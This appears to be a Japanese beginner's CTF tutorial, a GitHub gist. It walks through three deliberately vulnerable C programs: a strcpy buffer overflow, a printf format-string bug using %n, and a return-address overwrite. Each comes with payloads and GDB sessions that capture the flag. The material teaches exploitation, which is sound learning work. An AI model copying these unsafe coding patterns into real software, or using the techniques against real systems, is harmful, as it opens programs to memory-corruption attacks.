Skip to content

Instantly share code, notes, and snippets.

@matsubara0507
Last active May 12, 2024 14:14
Show Gist options
  • Save matsubara0507/72dc50c89200a09f7c61 to your computer and use it in GitHub Desktop.
Save matsubara0507/72dc50c89200a09f7c61 to your computer and use it in GitHub Desktop.
楽しいPwn入門

たのしいPwn入門

What is This ?

IGGG Advent Calender 2015のために書いた記事です。
常設CTFで遊んでたらPwnable系の問題を解いてるうちにいろいろと勉強になったのでまとめます。

Pwnable

PwnableとはCTFのジャンルの1つで、プログラムの脆弱性をつき、本来アクセスできないメモリ領域にアクセスして操作し、フラグを取得する感じの問題です。
別名としてExploitがあります。

問題形式は脆弱性のあるプログラムのある、ないしは実行しているサーバーにsshncで接続し、クラックしていきます。
今回はクラック用のサーバーを用意することは出来ないので、クラックするプログラムのソースコードを示します。
手元でコンパイルしてやってみてください。
ちなみに、Pwnの問題は脆弱性のあるプログラムのソースコードが示されてることが多いです。

GDB

GDBとはデバッガーの1つで、恐らくいちばん有名なデバッガーだと思います。
GDBを利用すると、プログラムの大域領域にある値(グローバル変数や関数など)やそのアドレスを参照したり、セグフォやオーバーフローを起こしたときに普通に実行するより多くの情報を得ることが出来ます。
これらは、Pwnをやるうえで非常に有効なので、今回は問題を解く際に使っていきたいと思います。

PicoCTF

今回はPicoCTFという常設CTFにあった問題を参考にしています。
PicoCTFはかなり初心者向けに作ってあるCTFで、CTFの勉強にはうってつけです。
CTFをやってみようかな、と言う人はぜひ利用してみてください。
(ただし、海外の常設CTFなので全て英語です。)

PicoCTF

その1 オーバーフロー1

問題のソースコードはこんな感じ

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void vuln(char *input){
  char buf[16];
  int secret = 0;
  strcpy(buf, input);

  if (secret == 0xc0deface){
    puts("flag is ...");
  }
  else{
    printf("The secret is %x\n", secret);
  }
}

int main(int argc, char **argv){
  if (argc > 1)
    vuln(argv[1]);
  return 0;
}

11行目にFlagが直接書かれているので、わざわざクラックする必要ないのですが、本来ここは外部ファイルから取得して来たりする感じです。
本質的でないので省きました。

この問題はsecretの値が0xc0defaceになれば良いのがわかります。
しかし、secretの値は0です。
その上、書き換えるコードは書いてありません。
どうやって書き換えるのでしょうか?

問題名の通りオーバーフローをさせます。
8行目でstrcpyをしていますが、これはinputのサイズがbufのサイズより大きいときbufの外も書き換えてしまいます。
実際に16バイト以上の値を与えてみましょう。

$ ./overflow1 `python -c "print('A'*16)"`
The secret is 0
$ ./overflow1 `python -c "print('A'*17)"`
The secret is 41

(コマンドライン引数をPythonなどのスクリプトで入れてあげると楽ですね)
1バイト余分にした場合、0から41に書き変わっています。
41は'A'のASCIIコードとしての値です。
つまり、buf変数の後にsecret変数4バイト分が続いていると推測できます。
(実際に局所変数は宣言した順にメモリのスタック領域へと詰まれるはずです)

なので、17バイト以降に任意の値を入力しましょう(エンディアンには気を付けて)

$ ./overflow1 `python -c "print('A'*16 + '\xce\xfa\xde\xc0')"`
flag is example1

見事Flagを得ることが出来ました。

その2 フォーマットストリング攻撃

問題のソースコードはこんな感じ

#include <stdio.h>
#include <stdlib.h>

int secret = 0;

int main(int argc, char **argv){
    int *ptr = &secret;
    printf(argv[1]);

    if (secret == 1337){
      puts("flag is ...");
    }
    else {
      printf("secret is %x\n", secret);
    }
    return 0;
}

今回もsecretの値を書き換えればよいのがわかります。
しかし、前回のようにオーバーフローを起こすような関数は見当たりません。
今回は(問題名の通り)フォーマットストリング攻撃と言うのを行います。

8行目でprintf(argv[1])と直接printfの引数に変数を渡しています。
実は、これは非常に危険です。
なぜなら、もしargv[1]の中にフォーマット指定文字(%sとか%dとか)があった場合、スタック領域を勝手に参照して出力してしまうからです。
実際にフォーマット指定文字を渡してみましょう。

$ ./format `python -c "print('%p.'*3)"`
0xbfb210.0xffe6ae68.0x8048469.secret is 0

%pはアドレスを返してくれます。
コレで何番目になんのメモリアドレスがあるかが探れます。

ではGDBを利用してsecretのアドレスを取得してみましょう。

$ gdb -q format
(gdb) p &secret
$1 = (<data variable, no debug info> *) 0x80496ac
(gdb) q

p hogeと入力すると変数(関数)hogeの値を出力してくれます。
C言語と同じで変数名の前に&をつければアドレスを返してくれます。
コレで、secretのアドレスが0x80496acとわかりました。

フォーマットストリング攻撃でもっとスタックの中身を見てみましょう。

$ ./format `python -c "print('%p.'*10)"`
0xbfb210.0xffd41f58.0x8048469.0xad0c65.0xffd41ff0.0xffd41f58.0xbfcff4.0x80496ac.0xffd41f60.0xffd41fb8.secret is 0

これで8つ目にあることがわかりましたね。

で、ここからが本番です。
Cには恐ろしいフォーマット、%nと言うのがあります。
%nは、それ以前に出力したバイト数をその位置のメモリに書き込むフォーマットです。

試してみましょう。

$ ./format `python -c "print('%p.'*7 + '%n')"`
0xbfb210.0xff89ad08.0x8048469.0xad0c65.0xff89ada0.0xff89ad08.0xbfcff4.secret is 46

secretの値が46に変わりました!
これはその前に0x46バイト分出力したからですね(0x46は70バイトで、ちょうど70文字出力してるはずです)。

secretの値を1337にする必要があるので以下のように入力します

$ ./format '%1337x%8$n'

%10xは10桁にして出力してくれるので、これを利用すれば任意の数値に書き換えることが出来ます。
%8$nは8番目の引数を利用するという意味です(もちろん%nに限らず利用できますよ)。

これを実行すればFlagを得れるでしょう(1337バイトも出力するので割愛)。

その3 オーバーフロー2

問題のソースコードはこんな感じ

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void give_flag(){
  puts("flag is ...");
}

void vuln(char *input){
    char buf[16];
    strcpy(buf, input);
}

int main(int argc, char **argv){
    if (argc > 1)
        vuln(argv[1]);
    return 0;
}

名前の通りstrcpyでオーバーフローを起こせばよいのですが、変数を書き換えるわけではありません。
give_flagと言う関数を呼び出す必要があります。
しかし、どこからも参照されていません。
では、どうやって呼び出すのでしょうか。

関数呼び出しを行うと関数を呼んだ箇所にちゃんと戻れるようにと、スタック領域に戻り先のアドレスが格納されます。
つまり、オーバーフローさせてそこを書き換えれば、任意の関数を呼び出すことが可能なのです。

まずはどれだけ書き込めばいいかをGDBで探ります。

$ gdb -q overflow2
(gdb) set arg `python -c "print('A'*20)"`
(gdb) run
Starting program: overflow2 `python -c "print('A'*20)"`

Program received signal SIGSEGV, Segmentation fault.
0x08048400 in vuln ()
(gdb) set arg `python -c "print('A'*30)"`
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: overflow2 `python -c "print('A'*30)"`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

0x08048400 in vuln ()より20ではまだ書き変わってないみたいですね。
0x41414141 in ?? ()より(41はAです)30では大きすぎるようです。

(gdb) set arg `python -c "print('A'*22)"`
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: overflow2 `python -c "print('A'*22)"`

Program received signal SIGSEGV, Segmentation fault.
0x08004141 in ?? ()

半分変わっているので21-24バイトなのでしょう。

次に、give_flagのアドレスを取得します。

(gdb) p &give_flag
$1 = (<text variable, no debug info> *) 0x80483d4 <give_flag>

0x80483d4なようです。

あとは書き換えるだけ

(gdb) set arg `python -c "print('A'*20 + '\xd4\x83\x04\x08')"`
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: overflow2 `python -c "print('A'*20 + '\xd4\x83\x04\x08')"`flag is example3

Program received signal SIGSEGV, Segmentation fault.
0xffffda00 in ?? ()

最終的にセグフォを起こしていますが、ちゃんとFlagが表示されてますね。

おわりに

話は以上です。
CTFをやってる人ならどれも基本的な話題かもしれませんが、私はPwnは苦手だったので、これをやってとても勉強になりました。
皆さんもぜひやってみてください。

おしまい

@Shun2439
Copy link

Shun2439 commented Dec 9, 2023

とても勉強になりました
%nなんて知りませんでした

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment